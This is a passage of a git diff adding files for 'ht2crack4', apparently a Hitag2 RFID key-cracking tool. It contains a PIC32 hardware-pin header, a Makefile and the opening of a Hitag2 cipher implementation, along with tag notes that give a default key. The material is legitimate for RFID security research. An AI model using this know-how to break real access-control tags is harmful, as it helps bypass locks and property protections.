This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: Adam Laurie + + + +#ifndef HARDWARE_PROFILE_UBW32_H +#define HARDWARE_PROFILE_UBW32_H + +//#include "plib.h" +typedef char BOOL; +typedef char BYTE; +typedef int rtccTime; +typedef int rtccDate; + + +#ifndef __PIC32MX__ + #define __PIC32MX__ +#endif + +#define GetSystemClock() (80000000ul) +#define GetPeripheralClock() (GetSystemClock()) +#define GetInstructionClock() (GetSystemClock()) + +//#define USE_SELF_POWER_SENSE_IO +#define tris_self_power TRISAbits.TRISA2 // Input +#define self_power 1 + +//#define USE_USB_BUS_SENSE_IO +#define tris_usb_bus_sense TRISBbits.TRISB5 // Input +#define USB_BUS_SENSE 1 + +// LEDs +#define mLED_1 LATEbits.LATE3 + +#define mLED_2 LATEbits.LATE2 +#define mLED_Comms mLED_2 + +#define mLED_3 LATEbits.LATE1 +#define mLED_Clock mLED_3 + +#define mLED_4 LATEbits.LATE0 +#define mLED_Emulate mLED_4 + +#define mLED_5 LATGbits.LATG6 +#define mLED_Read mLED_5 + +#define mLED_6 LATAbits.LATA15 +#define mLED_User mLED_6 + +#define mLED_7 LATDbits.LATD11 +#define mLED_Error mLED_7 + +// active low +#define mLED_ON 0 +#define mLED_OFF 1 + +#define mGetLED_1() mLED_1 +#define mGetLED_USB() mLED_1 +#define mGetLED_2() mLED_2 +#define mGetLED_Comms() mLED_2 +#define mGetLED_3() mLED_3 +#define mGetLED_Clock() mLED_3 +#define mGetLED_4() mLED_4 +#define mGetLED_Emulate() mLED_4 +#define mGetLED_5() mLED_5 +#define mGetLED_Read() mLED_5 +#define mGetLED_6() mLED_6 +#define mGetLED_User() mLED_6 +#define mGetLED_7() mLED_7 +#define mGetLED_Error() mLED_7 + +#define mLED_1_On() mLED_1 = mLED_ON +#define mLED_USB_On() mLED_1_On() +#define mLED_2_On() mLED_2 = mLED_ON +#define mLED_Comms_On() mLED_2_On() +#define mLED_3_On() mLED_3 = mLED_ON +#define mLED_Clock_On() mLED_3_On() +#define mLED_4_On() mLED_4 = mLED_ON +#define mLED_Emulate_On() mLED_4_On() +#define mLED_5_On() mLED_5 = mLED_ON +#define mLED_Read_On() mLED_5_On() +#define mLED_6_On() mLED_6 = mLED_ON +#define mLED_User_On() mLED_6_On() +#define mLED_7_On() mLED_7 = mLED_ON +#define mLED_Error_On() mLED_7_On() + +#define mLED_1_Off() mLED_1 = mLED_OFF +#define mLED_USB_Off() mLED_1_Off() +#define mLED_2_Off() mLED_2 = mLED_OFF +#define mLED_Comms_Off() mLED_2_Off() +#define mLED_3_Off() mLED_3 = mLED_OFF +#define mLED_Clock_Off() mLED_3_Off() +#define mLED_4_Off() mLED_4 = mLED_OFF +#define mLED_Emulate_Off() mLED_4_Off() +#define mLED_5_Off() mLED_5 = mLED_OFF +#define mLED_Read_Off() mLED_5_Off() +#define mLED_6_Off() mLED_6 = mLED_OFF +#define mLED_User_Off() mLED_6_Off() +#define mLED_7_Off() mLED_7 = mLED_OFF +#define mLED_Error_Off() mLED_7_Off() + +#define mLED_1_Toggle() mLED_1 = !mLED_1 +#define mLED_USB_Toggle() mLED_1_Toggle() +#define mLED_2_Toggle() mLED_2 = !mLED_2 +#define mLED_Comms_Toggle() mLED_2_Toggle() +#define mLED_3_Toggle() mLED_3 = !mLED_3 +#define mLED_Clock_Toggle() mLED_3_Toggle() +#define mLED_4_Toggle() mLED_4 = !mLED_4 +#define mLED_Emulate_Toggle() mLED_4_Toggle() +#define mLED_5_Toggle() mLED_5 = !mLED_5 +#define mLED_Read_Toggle( ) mLED_5_Toggle() +#define mLED_6_Toggle() mLED_6 = !mLED_6 +#define mLED_User_Toggle() mLED_6_Toggle() +#define mLED_7_Toggle() mLED_7 = !mLED_7 +#define mLED_Error_Toggle() mLED_7_Toggle() + +#define mLED_All_On() { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On(); mLED_6_On(); mLED_7_On(); } +#define mLED_All_Off() { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); } + +// usb status lights +#define mLED_Both_Off() {mLED_USB_Off();mLED_Comms_Off();} +#define mLED_Both_On() {mLED_USB_On();mLED_Comms_On();} +#define mLED_Only_USB_On() {mLED_USB_On();mLED_Comms_Off();} +#define mLED_Only_Comms_On() {mLED_USB_Off();mLED_Comms_On();} + +/** SWITCH *********************************************************/ +#define swBootloader PORTEbits.RE7 +#define swUser PORTEbits.RE6 + +/** I/O pin definitions ********************************************/ +#define INPUT_PIN 1 +#define OUTPUT_PIN 0 + +#define TRUE 1 +#define FALSE 0 + +#define ENABLE 1 +#define DISABE 0 + +#define EVEN 0 +#define ODD 1 + +#define LOW FALSE +#define HIGH TRUE + +#define CLOCK_ON LOW +#define CLOCK_OFF HIGH + +// output coil control - select between reader/emulator circuits +#define COIL_MODE LATBbits.LATB4 +#define COIL_MODE_READER() COIL_MODE= LOW +#define COIL_MODE_EMULATOR() COIL_MODE= HIGH + +// coil for emulation +#define COIL_OUT LATGbits.LATG9 +#define COIL_OUT_HIGH() COIL_OUT=HIGH +#define COIL_OUT_LOW() COIL_OUT=LOW + +// door relay (active low) +#define DOOR_RELAY LATAbits.LATA14 +#define DOOR_RELAY_OPEN() DOOR_RELAY= HIGH +#define DOOR_RELAY_CLOSE() DOOR_RELAY= LOW + +// inductance/capacitance freq +#define IC_FREQUENCY PORTAbits.RA2 + +#define SNIFFER_COIL PORTDbits.RD12 // external reader clock detect +#define READER_ANALOGUE PORTBbits.RB11 // reader coil analogue +#define DIV_LOW_ANALOGUE PORTBbits.RB12 // voltage divider LOW analogue +#define DIV_HIGH_ANALOGUE PORTBbits.RB13 // voltage divider HIGH analogue + +// clock coil (normally controlled by OC Module, but defined here so we can force it high or low) +#define CLOCK_COIL PORTDbits.RD4 +#define CLOCK_COIL_MOVED PORTDbits.RD0 // temporary for greenwire + +// digital output after analogue reader circuit +#define READER_DATA PORTDbits.RD8 + +// trace / debug +#define DEBUG_PIN_1 LATCbits.LATC1 +#define DEBUG_PIN_1_TOGGLE() DEBUG_PIN_1= !DEBUG_PIN_1 +#define DEBUG_PIN_2 LATCbits.LATC2 +#define DEBUG_PIN_2_TOGGLE() DEBUG_PIN_2= !DEBUG_PIN_2 +#define DEBUG_PIN_3 LATCbits.LATC3 +#define DEBUG_PIN_3_TOGGLE() DEBUG_PIN_3= !DEBUG_PIN_3 +#define DEBUG_PIN_4 LATEbits.LATE5 +#define DEBUG_PIN_4_TOGGLE() DEBUG_PIN_4= !DEBUG_PIN_4 + +// spi (sdi1) for sd card (not directly referenced) +//#define SD_CARD_RX LATCbits.LATC4 +//#define SD_CARD_TX LATDbits.LATD0 +//#define SD_CARD_CLK LATDbits.LATD10 +//#define SD_CARD_SS LATDbits.LATD9 +// spi for SD card +#define SD_CARD_DET LATFbits.LATF0 +#define SD_CARD_WE LATFbits.LATF1 // write enable - unused for microsd but allocated anyway as library checks it + // (held LOW by default - cut solder bridge to GND to free pin if required) +#define SPI_SD SPI_CHANNEL1 +#define SPI_SD_BUFF SPI1BUF +#define SPI_SD_STAT SPI1STATbits +// see section below for more defines! + +// iso 7816 smartcard +// microchip SC module defines pins so we don't need to, but +// they are listed here to help avoid conflicts +#define ISO_7816_RX LATBbits.LATF2 // RX +#define ISO_7816_TX LATBbits.LATF8 // TX +#define ISO_7816_VCC LATBbits.LATB9 // Power +#define ISO_7816_CLK LATCbits.LATD1 // Clock +#define ISO_7816_RST LATEbits.LATE8 // Reset + +// user LED +#define USER_LED LATDbits.LATD7 +#define USER_LED_ON() LATDbits.LATD7=1 +#define USER_LED_OFF() LATDbits.LATD7=0 + +// LCR +#define LCR_CALIBRATE LATBbits.LATB5 + +// wiegand / clock & data +#define WIEGAND_IN_0 PORTDbits.RD5 +#define WIEGAND_IN_0_PULLUP CNPUEbits.CNPUE14 +#define WIEGAND_IN_0_PULLDOWN CNPDbits.CNPD14 +#define WIEGAND_IN_1 PORTDbits.RD6 +#define WIEGAND_IN_1_PULLUP CNPUEbits.CNPUE15 +#define WIEGAND_IN_1_PULLDOWN CNPDbits.CNPD15 +#define CAND_IN_DATA WIEGAND_IN_0 +#define CAND_IN_CLOCK WIEGAND_IN_1 + +#define WIEGAND_OUT_0 LATDbits.LATD3 +#define WIEGAND_OUT_1 LATDbits.LATD2 +#define WIEGAND_OUT_0_TRIS TRISDbits.TRISD3 +#define WIEGAND_OUT_1_TRIS TRISDbits.TRISD2 +#define CAND_OUT_DATA WIEGAND_OUT_0 +#define CAND_OUT_CLOCK WIEGAND_OUT_1 + +// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier +#define READER_CLOCK_ENABLE LATEbits.LATE9 +#define READER_CLOCK_ENABLE_ON() READER_CLOCK_ENABLE=CLOCK_ON +#define READER_CLOCK_ENABLE_OFF(x) {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;} + +// these input pins must NEVER bet set to output or they will cause short circuits! +// they can be used to see data from reader before it goes into or gate +#define OR_IN_A PORTAbits.RA4 +#define OR_IN_B PORTAbits.RA5 + + +// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on +#define Init_GPIO() { \ + CNCONbits.ON= TRUE; \ + CNENbits.CNEN14= TRUE; \ + CNENbits.CNEN15= TRUE; \ + TRISAbits.TRISA2= INPUT_PIN; \ + TRISAbits.TRISA4= INPUT_PIN; \ + TRISAbits.TRISA5= INPUT_PIN; \ + TRISAbits.TRISA14= OUTPUT_PIN; \ + TRISAbits.TRISA15= OUTPUT_PIN; \ + TRISBbits.TRISB4= OUTPUT_PIN; \ + TRISBbits.TRISB5= OUTPUT_PIN; \ + TRISBbits.TRISB9= OUTPUT_PIN; \ + TRISBbits.TRISB11= INPUT_PIN; \ + TRISBbits.TRISB12= INPUT_PIN; \ + TRISBbits.TRISB13= INPUT_PIN; \ + TRISCbits.TRISC1= OUTPUT_PIN; \ + TRISCbits.TRISC2= OUTPUT_PIN; \ + TRISCbits.TRISC3= OUTPUT_PIN; \ + TRISCbits.TRISC4= INPUT_PIN; \ + TRISDbits.TRISD0= INPUT_PIN; \ + TRISDbits.TRISD1= OUTPUT_PIN; \ + TRISDbits.TRISD2= OUTPUT_PIN; \ + TRISDbits.TRISD3= OUTPUT_PIN; \ + TRISDbits.TRISD4= OUTPUT_PIN; \ + TRISDbits.TRISD5= INPUT_PIN; \ + TRISDbits.TRISD6= INPUT_PIN; \ + TRISDbits.TRISD7= OUTPUT_PIN; \ + TRISDbits.TRISD8= INPUT_PIN; \ + TRISDbits.TRISD11= OUTPUT_PIN; \ + TRISDbits.TRISD12= INPUT_PIN; \ + TRISEbits.TRISE0= OUTPUT_PIN; \ + TRISEbits.TRISE1= OUTPUT_PIN; \ + TRISEbits.TRISE2= OUTPUT_PIN; \ + TRISEbits.TRISE3= OUTPUT_PIN; \ + TRISEbits.TRISE5= OUTPUT_PIN; \ + TRISEbits.TRISE6= INPUT_PIN; \ + TRISEbits.TRISE7= INPUT_PIN; \ + TRISEbits.TRISE8= OUTPUT_PIN; \ + TRISEbits.TRISE9= OUTPUT_PIN; \ + TRISFbits.TRISF0= INPUT_PIN; \ + TRISFbits.TRISF1= INPUT_PIN; \ + TRISFbits.TRISF2= INPUT_PIN; \ + TRISFbits.TRISF8= OUTPUT_PIN; \ + TRISGbits.TRISG6= OUTPUT_PIN; \ + TRISGbits.TRISG12= INPUT_PIN; \ + TRISGbits.TRISG13= INPUT_PIN; \ + TRISGbits.TRISG9= OUTPUT_PIN; \ + LATBbits.LATB9= LOW; \ + LATCbits.LATC1= LOW; \ + LATCbits.LATC2= LOW; \ + LATCbits.LATC3= LOW; \ + LATDbits.LATD2= WIEGAND_IN_1; \ + LATDbits.LATD3= WIEGAND_IN_0; \ + LATEbits.LATE5= LOW; \ + LATEbits.LATE9= HIGH; \ + } + +// uart3 (CLI/API) speed +#define BAUDRATE3 115200UL +#define BRG_DIV3 4 +#define BRGH3 1 + +// spi for potentiometer +#define SPI_POT SPI_CHANNEL4 +#define SPI_POT_BUFF SPI4BUF +#define SPI_POT_STAT SPI4STATbits + +// spi for sd card - defines required for Microchip SD-SPI libs +// define interface type +#define USE_SD_INTERFACE_WITH_SPI + +#define MDD_USE_SPI_1 +#define SPI_START_CFG_1 (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON) +#define SPI_START_CFG_2 (SPI_ENABLE) +// Define the SPI frequency +#define SPI_FREQUENCY (20000000) +// Description: SD-SPI Card Detect Input bit +#define SD_CD PORTFbits.RF0 +// Description: SD-SPI Card Detect TRIS bit +#define SD_CD_TRIS TRISFbits.TRISF0 +// Description: SD-SPI Write Protect Check Input bit +#define SD_WE PORTFbits.RF1 +// Description: SD-SPI Write Protect Check TRIS bit +#define SD_WE_TRIS TRISFbits.TRISF1 +// Description: The main SPI control register +#define SPICON1 SPI1CON +// Description: The SPI status register +#define SPISTAT SPI1STAT +// Description: The SPI Buffer +#define SPIBUF SPI1BUF +// Description: The receive buffer full bit in the SPI status register +#define SPISTAT_RBF SPI1STATbits.SPIRBF +// Description: The bitwise define for the SPI control register (i.e. _____bits) +#define SPICON1bits SPI1CONbits +// Description: The bitwise define for the SPI status register (i.e. _____bits) +#define SPISTATbits SPI1STATbits +// Description: The enable bit for the SPI module +#define SPIENABLE SPICON1bits.ON +// Description: The definition for the SPI baud rate generator register (PIC32) +#define SPIBRG SPI1BRG +// Description: The TRIS bit for the SCK pin +#define SPICLOCK TRISDbits.TRISD10 +// Description: The TRIS bit for the SDI pin +#define SPIIN TRISCbits.TRISC4 +// Description: The TRIS bit for the SDO pin +#define SPIOUT TRISDbits.TRISD0 +#define SD_CS LATDbits.LATD9 +// Description: SD-SPI Chip Select TRIS bit +#define SD_CS_TRIS TRISDbits.TRISD9 +//SPI library functions +#define putcSPI putcSPI1 +#define getcSPI getcSPI1 +#define OpenSPI(config1, config2) OpenSPI1(config1, config2) + +// Define setup parameters for OpenADC10 function +// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample +#define ADC_CONFIG1 (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON) +// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode +#define ADC_CONFIG2 (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON) + +// Use ADC internal clock | Set sample time +#define ADC_CONFIG3 (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0) + +// slow sample rate for tuning coils +#define ADC_CONFIG2_SLOW (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON) +#define ADC_CONFIG3_SLOW (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31) + +// use AN11 +#define ADC_CONFIGPORT ENABLE_AN11_ANA +// Do not assign channels to scan +#define ADC_CONFIGSCAN SKIP_SCAN_ALL + +#define ADC_TO_VOLTS 0.003208F + + +// flash memory - int myvar = *(int*)(myflashmemoryaddress); + +// memory is 0x9D005000 to 0x9D07FFFF + +#define NVM_MEMORY_END 0x9D07FFFF +#define NVM_PAGE_SIZE 4096 +#define NVM_PAGES 2 // config & VTAG +#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES)) + +// UART timeout in us +#define SERIAL_TIMEOUT 100 + +#endif diff --git a/tools/hitag2crack/crack4/Makefile b/tools/hitag2crack/crack4/Makefile new file mode 100644 index 000000000..82e7f2560 --- /dev/null +++ b/tools/hitag2crack/crack4/Makefile @@ -0,0 +1,20 @@ +WARN=-Wall +CFLAGS=-c $(WARN) $(INCLUDE) +LIBS=-lpthread + +all: ht2crack4.c HardwareProfile.h rfidler.h util.h utilpart.o hitagcrypto.o ht2crack2utils.o + cc $(WARN) -o ht2crack4 ht2crack4.c utilpart.o hitagcrypto.o ht2crack2utils.o $(LIBS) + +utilpart.o: utilpart.c util.h + cc $(CFLAGS) utilpart.c + +hitagcrypto.o: hitagcrypto.c hitagcrypto.h + cc $(CFLAGS) hitagcrypto.c + +ht2crack2utils.o: ht2crack2utils.c ht2crack2utils.h + cc $(CFLAGS) ht2crack2utils.c + +clean: + rm -rf *.o ht2crack4 + +fresh: clean all diff --git a/tools/hitag2crack/crack4/hitagcrypto.c b/tools/hitag2crack/crack4/hitagcrypto.c new file mode 100644 index 000000000..422efbe92 --- /dev/null +++ b/tools/hitag2crack/crack4/hitagcrypto.c @@ -0,0 +1,485 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2015 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: unknown. +// Modifications for RFIDler: Tony Naggs , Adam Laurie + +// uncomment this to build file as a standalone crypto test program +// #define UNIT_TEST +// also uncomment to include verbose debug prints +// #define TEST_DEBUG + +//#include +#include "HardwareProfile.h" +#include "rfidler.h" +#include "hitagcrypto.h" +#include "util.h" + +#ifdef UNIT_TEST +#include +#endif + +#if defined(UNIT_TEST) && defined(TEST_DEBUG) +// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++. +// This may need changing for other compilers/platforms. +#define DEBUG_PRINTF(...) printf(__VA_ARGS__) +#else +#define DEBUG_PRINTF(...) +#endif + + +/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu) + + Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft + fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications. + At about the same time, late 1980s to early 1990s, Mikron developed the + similarly featured Mifare micropayment card for 13.56MHz RFID. + (Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a + priority date of 23 Aug 1990.) + Mikron was subsequently acquired by Philips Semiconductors in 1995. + Philips Semiconductors divsion subsequently became NXP. + + + Modulation read/write device -> transponder: 100 % ASK and binary pulse + length coding + + Modulation transponder -> read/write device: Strong ASK modulation, + selectable Manchester or Biphase coding + + Hitag S, Hitag u; anti-collision procedure + + Fast anti-collision protocol + + Hitag u; optional Cyclic Redundancy Check (CRC) + + Reader Talks First mode + + Hitag 2 & later; Transponder Talks First (TTF) mode + + Temporary switch from Transponder Talks First into Reader Talks First + (RTF) Mode + + Data rate read/write device to transponder: 5.2 kbit/s + + Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s + + 32-bit password feature + + Hitag 2, S = 32-bit Unique Identifier + + Hitag u = 48-bit Unique Identifier + + Selectable password modes for reader / tag mutual authentication + (Hitag 1 has 2 pairs of keys, later versions have 1 pair) + + Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key + + Known tag types: + + HITAG 1 2048 bits total memory + + HITAG 2 256 Bit total memory Read/Write + 8 pages of 32 bits, inc UID (32), + secret key (64), password (24), config (8) + + HITAG S 32 32 bits Unique Identifier Read Only + HITAG S 256 256 bits total memory Read/Write + HITAG S 2048 2048 bits total memory Read/Write + + HITAG u RO64 64 bits total memory Read Only + HITAG u 128 bits total memory Read/Write + HITAG u Advanced 512 bits total memory Read/Write + HITAG u Advanced+ 1760 bits total memory Read/Write + + Default 48-bit key for Hitag 2, S encryption: + "MIKRON" = O N M I K R + Key = 4F 4E 4D 49 4B 52 + +*/ + + +// We want the crypto functions to be as fast as possible, so optimize! +// The best compiler optimization in Microchip's free XC32 edition is -O1 +#pragma GCC optimize("O1") + +// private, nonlinear function to generate 1 crypto bit +static uint32_t hitag2_crypt(uint64_t x); + + +// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number +#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) ) +#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) ) +#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 0xC) ) +#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \ + ((S >> (C - 3)) & 8) ) +#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \ + ((S >> (C - 3)) & 8) ) + + +static uint32_t hitag2_crypt(uint64_t s) +{ + const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001 + const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001 + const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011 + uint32_t bitindex; + + bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1; + bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02; + bitindex |= 